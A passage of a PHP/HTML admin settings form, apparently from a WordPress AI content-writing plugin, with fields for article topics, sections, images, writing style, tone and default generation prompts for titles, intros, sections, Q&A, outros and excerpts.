cols="70" name="aiomatic_rules_list[post_topic_list][]" placeholder="Post topic list (one per line)" class="cr_width_full"></textarea> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the method to be used for the title generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Title Generator Method:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="title_generator_method" name="aiomatic_rules_list[title_generator_method][]"> <option value="ai" selected><?php echo esc_html__("AI Writer", 'aiomatic-automatic-ai-content-writer');?></option> <option value="serp"><?php echo esc_html__("Related SERP Searches", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a list of post sections, one per line. These will be headings of the content. These can also be automatically generated by the plugin. To enable auto generating of sections, leave this field blank. You can use here the %%topic%% shortcode, to get the value of the above topic, automtically. This will set the value of the %%sections%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you set a section list here, each created article will have this same list of sections, because of this, use shortcodes or Spintax when defining these static topics or leave this field blank for the plugin to auto generate them!", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Sections List (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_rules_list[post_sections_list][]" placeholder="Post sections list (one per line)" class="cr_width_full"></textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter the number of sections to create in the article. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%sections_count%% shortcode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number Of Content Sections To Generate:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="section_count" name="aiomatic_rules_list[section_count][]" placeholder="3-4" class="cr_width_full" value="3-4"> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select what you want to do with sections in articles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Sections To Content As:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="sections_role" name="aiomatic_rules_list[sections_role][]"> <option value="h2" selected><?php echo esc_html__("h2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="h3"><?php echo esc_html__("h3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="b"><?php echo esc_html__("Bold", 'aiomatic-automatic-ai-content-writer');?></option> <option value="i"><?php echo esc_html__("Italic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="bi"><?php echo esc_html__("Bold and Italic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="p"><?php echo esc_html__("Paragraph", 'aiomatic-automatic-ai-content-writer');?></option> <option value="x"><?php echo esc_html__("Plain Text", 'aiomatic-automatic-ai-content-writer');?></option> <option value="no"><?php echo esc_html__("Don't Add Sections", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter the number of paragraphs to create for each section. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%paragraphs_per_section%% shortcode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number Of Paragraphs Per Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="paragraph_count" name="aiomatic_rules_list[paragraph_count][]" placeholder="2-3" class="cr_width_full" value="2"> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the number of related images to add to the created post content. This feature will use the royalty free image sources configured in the plugin's 'Settings' menu or if you have access to the DallE API. You can change image source in the 'AI Image Source' settings field from below. The maximum number of images you can add to each article: number of sections + 2", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number of Images To Add To The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_rules_list[topic_images][]" value="" placeholder="Number of images" class="cr_width_full"> </td> </tr> <tr class="hidetopic"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add an image to each of the creating headings from the article.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add An Image To Each Heading Of The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="img_all_headings" name="aiomatic_rules_list[img_all_headings][]" checked> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the location of the heading images/videos.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Heading Image/Video Location:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="heading_img_location" name="aiomatic_rules_list[heading_img_location][]" class="cr_width_full"> <option value="top" selected><?php echo esc_html__("Top of the section", 'aiomatic-automatic-ai-content-writer');?></option> <option value="heading"><?php echo esc_html__("Under the heading text", 'aiomatic-automatic-ai-content-writer');?></option> <option value="bottom"><?php echo esc_html__("Bottom of the section", 'aiomatic-automatic-ai-content-writer');?></option> <option value="random"><?php echo esc_html__("Random", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the number of related YouTube videos to add to the created post content. The maximum number of videos you can add to each article: number of sections", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number of YouTube Videos To Add To The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" name="aiomatic_rules_list[topic_videos][]" value="" placeholder="Number of videos" class="cr_width_full"> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the outro section header. This is optional.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Outro Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_rules_list[title_outro][]" value="{In Conclusion|To Conclude|In Summary|To Wrap It Up|Key Takeaways|Future Outlook|Closing Remarks|The Conclusion|Final Thoughts|In Retrospect|The Way Forward|Wrapping Up|Concluding Remarks|Insights and Conclusions}" placeholder="Optional" class="cr_width_full"> </td> </tr> <tr class="hidetopic"> <td class="hideTOC-1"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Table of Contents section to the created post.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article Table Of Contents:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="hideTOC-1"> <input type="checkbox" id="enable_toc" name="aiomatic_rules_list[enable_toc][]"> </td> </tr> <tr class="hidetopic"> <td class="hideTOC-1"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Table of Contents section header. Default is: Table of Contents", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Table Of Contents Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="hideTOC-1"> <input type="text" name="aiomatic_rules_list[title_toc][]" value="Table of Contents" placeholder="Table of Contents" class="cr_width_full"> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Q&A section to the created post. To enable Q&A for articles, be sure to add a prompt also in the 'Article Q&A Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article Q&A Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_qa" name="aiomatic_rules_list[enable_qa][]"> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Q&A section header. Default is: Q&A", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Q&A Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_rules_list[title_qa][]" value="Q&A" placeholder="Q&A" class="cr_width_full"> </td> </tr> <tr class="hidetopic"><td colspan="2"> <h4><?php echo esc_html__("Content Parameters", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the language of the created content. This will set the value of the %%language%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Language:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="content_language" name="aiomatic_rules_list[content_language][]" type="text" list="languages" placeholder="Created content language" class="coderevolution_gutenberg_input" value="English"/> <datalist id="languages"> <?php foreach($aiomatic_language_names as $ln) { echo '<option>' . $ln . '</option>'; } ?> </datalist> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the writing style of the created content. This will set the value of the %%writing_style%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Writing Style:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="writing_style" name="aiomatic_rules_list[writing_style][]" type="text" placeholder="Created content writing style" list="writing_styles" class="coderevolution_gutenberg_input" value="Creative"/> <datalist id="writing_styles"> <option>Informative</option> <option>Academic</option> <option>Descriptive</option> <option>Detailed</option> <option>Dramative</option> <option>Fiction</option> <option>Expository</option> <option>Historical</option> <option>Dialogue</option> <option>Creative</option> <option>Critical</option> <option>Narrative</option> <option>Persuasive</option> <option>Reflective</option> <option>Argumentative</option> <option>Analytical</option> <option>Blog</option> <option>News</option> <option>Casual</option> <option>Pastoral</option> <option>Personal</option> <option>Poetic</option> <option>Satirical</option> <option>Sensory</option> <option>Articulate</option> <option>Monologue</option> <option>Colloquial</option> <option>Comparative</option> <option>Concise</option> <option>Biographical</option> <option>Anecdotal</option> <option>Evaluative</option> <option>Letter</option> <option>Lyrical</option> <option>Simple</option> <option>Vivid</option> <option>Journalistic</option> <option>Technical</option> <option>Direct</option> <option>Emotional</option> <option>Metaphorical</option> <option>Objective</option> <option>Rhetorical</option> <option>Theoretical</option> <option>Business</option> <option>Report</option> <option>Research</option> </datalist> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the writing tone of the created content. This will set the value of the %%writing_tone%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Writing Tone:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="writing_tone" name="aiomatic_rules_list[writing_tone][]" type="text" list="writing_tones" placeholder="Created content writing tone" class="coderevolution_gutenberg_input" value="Neutral"/> <datalist id="writing_tones"> <option>Neutral</option> <option>Formal</option> <option>Assertive</option> <option>Cheerful</option> <option>Humorous</option> <option>Informal</option> <option>Inspirational</option> <option>Professional</option> <option>Emotional</option> <option>Persuasive</option> <option>Supportive</option> <option>Sarcastic</option> <option>Condescending</option> <option>Skeptical</option> <option>Narrative</option> <option>Journalistic</option> <option>Conversational</option> <option>Factual</option> <option>Friendly</option> <option>Polite</option> <option>Scientific</option> <option>Sensitive</option> <option>Sincere</option> <option>Curious</option> <option>Dissapointed</option> <option>Encouraging</option> <option>Optimistic</option> <option>Surprised</option> <option>Worried</option> <option>Confident</option> <option>Authoritative</option> <option>Nostalgic</option> <option>Sympathetic</option> <option>Suspenseful</option> <option>Romantic</option> <option>Serious</option> </datalist> </td> </tr> <tr class="hidetopic"><td colspan="2"> <h4><?php echo esc_html__("Prompts", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Post Title. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Title Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_rules_list[title_prompt][]" placeholder="Enter your title prompts, one per line" class="cr_width_full">Write a title for an article about "%%topic%%" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 40 and 60 characters.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the title generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Title Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_title_model" name="aiomatic_rules_list[topic_title_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the intro of the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Intro Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_rules_list[intro_prompt][]" placeholder="Enter your intro prompts, one per line" class="cr_width_full">Craft an introduction for an article about "%%title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the intro generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Intro Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_intro_model" name="aiomatic_rules_list[topic_intro_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Sections of the article. These will be set also as headings in the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Sections Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_rules_list[sections_prompt][]" placeholder="Enter your sections prompts, one per line" class="cr_width_full">Write %%sections_count%% consecutive headings for an article about "%%title%%" that highlight specific aspects, provide detailed insights and specific recommendations. The headings must be written in %%language%%, following a %%writing_style%% style and a %%writing_tone%% tone. Don't add numbers to the headings, hyphens or any types of quotes. Return only the headings list, nothing else.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the sections generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Sections Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_sections_model" name="aiomatic_rules_list[topic_sections_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%title%%, %%article_so_far%%, %%last_section_content%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="3" cols="70" name="aiomatic_rules_list[content_prompt][]" placeholder="Enter your content prompt" class="cr_width_full">Write the content of a post section for the heading "%%current_section%%" in %%language%%. The title of the post is: "%%title%%". Don't add the title at the beginning of the created content. Be creative and unique. Don't repeat the heading in the created content. Don't add an intro or outro. Write %%paragraphs_per_section%% paragraphs in the section. Use HTML for formatting, include unnumbered lists and bold. If needed, you can use WordPress related CSS styling for the article. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Act as a Content Writer, not as a Virtual Assistant. Return only the content requested, without any additional comments or text. The content provided will be automatically published on my website. Writing Style: %%writing_style%%. Tone: %%writing_tone%%.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the content generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Content Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_content_model" name="aiomatic_rules_list[topic_content_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to use the above content prompt to create the entire article from a single API call (checkbox checked) or to run the prompt for each section separately (checkbox unchecked). If you check this, be sure to modify the content prompt accordingly.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Use the Above Content Prompt To Create The Entire Article (Not Each Section):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="single_content_call-1" name="aiomatic_rules_list[single_content_call][]" onclick="hideTOC(-1);"> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Q&A of the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Q&A Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_rules_list[qa_prompt][]" placeholder="Enter your Q&A prompts, one per line" class="cr_width_full">Write a Q&A for an article about "%%title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the Q&A generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Q&A Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_qa_model" name="aiomatic_rules_list[topic_qa_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the outro of the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Outro Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_rules_list[outro_prompt][]" placeholder="Enter your outro prompts, one per line" class="cr_width_full">Write an outro for an article about "%%title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the outro generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Outro Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_outro_model" name="aiomatic_rules_list[topic_outro_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the excerpt of the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Excerpt Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_rules_list[excerpt_prompt][]" placeholder="Enter your excerpt prompts, one per line" class="cr_width_full">Write a short excerpt for an article about "%%title%%" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 150 and 250 characters.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the excerpt generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Excerpt Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_excerpt_model" name="aiomatic_rules_list[topic_excerpt_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"><td colspan="2"> <h4><?php echo esc_html__("Advanced Prompting Options", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on prompts. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_rules_list[strip_by_regex_prompts][]" placeholder="regex expression"></textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box 